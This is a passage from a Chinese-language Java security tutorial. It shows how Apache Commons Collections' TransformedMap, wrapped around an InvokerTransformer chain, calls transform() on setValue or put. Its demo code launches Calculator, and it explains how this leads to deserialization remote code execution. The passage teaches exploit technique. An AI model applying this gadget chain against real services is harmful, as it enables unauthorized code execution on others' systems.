上面两个Demo为我们演示了如何使用InvokerTransformer执行本地命令,现在我们也就还只剩下两个问题:
- 如何传入调用链。
- 如何调用
transform方法执行本地命令。
现在我们已经使用InvokerTransformer创建了一个含有恶意调用链的Transformer类的Map对象,紧接着我们应该思考如何才能够将调用链窜起来并执行。org.apache.commons.collections.map.TransformedMap类间接的实现了java.util.Map接口,同时支持对Map的key或者value进行Transformer转换,调用decorate和decorateTransform方法就可以创建一个TransformedMap:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {// 省去实现代码}
只要调用TransformedMap的setValue/put/putAll中的任意方法都会调用InvokerTransformer类的transform方法,从而也就会触发命令执行。
使用TransformedMap类的setValue触发transform示例:
public static void main(String[] args) {String cmd = "open -a Calculator.app";// 此处省去创建transformers过程,参考上面的demo// 创建ChainedTransformer调用链对象Transformer transformedChain = new ChainedTransformer(transformers);// 创建Map对象Map map = new HashMap();map.put("value", "value");// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象Map transformedMap = TransformedMap.decorate(map, null, transformedChain);// transformedMap.put("v1", "v2");// 执行put也会触发transform// 遍历Map元素,并调用setValue方法for (Object obj : transformedMap.entrySet()) {Map.Entry entry = (Map.Entry) obj;// setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链entry.setValue("test");}System.out.println(transformedMap);}
上述代码向我们展示了只要在Java的API中的任何一个类实现了java.io.Serializable接口,并且可以传入我们构建的TransformedMap对象还要有调用TransformedMap中的setValue/put/putAll中的任意方法一个方法的类,我们就可以在Java反序列化的时候触发InvokerTransformer类的transform方法实现RCE。
